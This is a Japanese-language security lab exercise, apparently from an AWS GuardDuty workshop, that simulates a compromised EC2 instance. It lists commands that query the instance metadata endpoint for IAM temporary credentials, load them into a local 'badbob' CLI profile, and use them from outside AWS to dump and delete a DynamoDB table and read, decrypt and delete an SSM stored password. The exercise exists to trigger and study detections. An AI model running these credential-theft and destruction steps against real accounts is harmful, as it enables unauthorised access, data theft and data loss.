このシナリオはローカル環境にインストールされた AWS CLI コマンドが必要です。この環境がない場合は、このシナリオはスキップしてください。
本シナリオはいくつかの手順にしたがって、手動で攻撃をシミュレートする必要があります。検出結果を生成するには、EC2 インスタンスから IAM 一時セキュリティクレデンシャルをコピーし、ローカル環境の PC から手動で API 呼び出しを行います。
API 呼び出しは AWS ネットワークの外部から行う必要があります。AWS のネットワークからだと検出結果が生成されません
攻撃をシミュレートするために、EC2 の IAM ロールによって生成された IAM 一時認証情報を取得します。インスタンスに直接 SSH で接続するか、 AWS Systems Manager セッションマネージャー を使用してシェルにログインしてから、メタデータをクエリします。ここでは、セッションマネージャーを利用します。
AWS Systems Manager コンソールのセッションマネージャー(us-west-2)に移動します。
EC2 インスタンスの一覧が表示されるので、[GuardDuty-Example: Compromised Instance: Scenario 3] のラジオボタンにチェックを入れて、セッションを開始する
をクリックしてください。
ブラウザでターミナルが表示されたら、次のコマンドをシェルで実行してください。
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/GuardDuty-Example-EC2-Compromised
[AccessKeyID]、[SecretAccessKey]、[Token]の値をコピーしてメモ帳等に貼り付けてください
ローカル環境の PC 上で、新しい AWS CLI プロファイルを作成して、IAM の一時的なクレデンシャルを使用します
IAMの一時的なセキュリティクレデンシャルを取得したので、それらをAWSCLIプロファイルに追加する必要があります。これを行うにはいくつかの方法がありますが、以下はあなたが始めるのに役立ついくつかのコマンドです。
コマンドプロンプトから、次のコマンドを実行します(<access_key>
, <secret_key>
、<session_token>
をコピーした値に置き換えてください):
aws configure set profile.badbob.region us-west-2
aws configure set profile.badbob.aws_access_key_id <access_key>
aws configure set profile.badbob.aws_secret_access_key <secret_key>
aws configure set profile.badbob.aws_session_token <session_token>
ローカルの AWS クレデンシャルファイルを表示すると、盗まれた IAM 一時認証情報を含む [badbob] プロファイルが表示されます。
名前付きプロファイルができたので、それを使用して API 呼び出しを行うことができます。以下のコマンドを使用して、さまざまなサービスにクエリを実行し、アクセスできるものを確認します。
アクセスが拒否された応答が表示されても驚かないでください。意図されたものです
aws iam get-user --profile badbob
aws iam create-user --user-name Chuck --profile badbob
⇒ 失敗します
aws dynamodb list-tables --profile badbob
aws dynamodb describe-table --table-name GuardDuty-Example-Customer-DB --profile badbob
⇒ 成功します
aws dynamodb scan --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb put-item --table-name GuardDuty-Example-Customer-DB --item '{"name":{"S":"Joshua Tree"},"state":{"S":"Michigan"},"website":{"S":"https://www.nps.gov/yell/index.htm"}}' --profile badbob
aws dynamodb scan --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb delete-table --table-name GuardDuty-Example-Customer-DB --profile badbob
aws dynamodb list-tables --profile badbob
⇒ 成功のレスポンスを確認できます
aws ssm describe-parameters --profile badbob
aws ssm get-parameters --names "gd_prod_dbpwd_sample" --profile badbob
aws ssm get-parameters --names "gd_prod_dbpwd_sample" --with-decryption --profile badbob
aws ssm delete-parameter --name "gd_prod_dbpwd_sample" --profile badbob
ローカル PC から AWS CLI コマンドを実行すると、GuardDutyの脅威検出の通知メールを受信します。1分ほど後に、自動修復の通知メールを受信します。この検出結果は、EC2 インスタンスに関連付けられた AWS IAM ロールに関連しているようです。検出結果と修復を詳しく調べます。
IAM 資格情報は、実際に侵害や漏洩はされてはいません。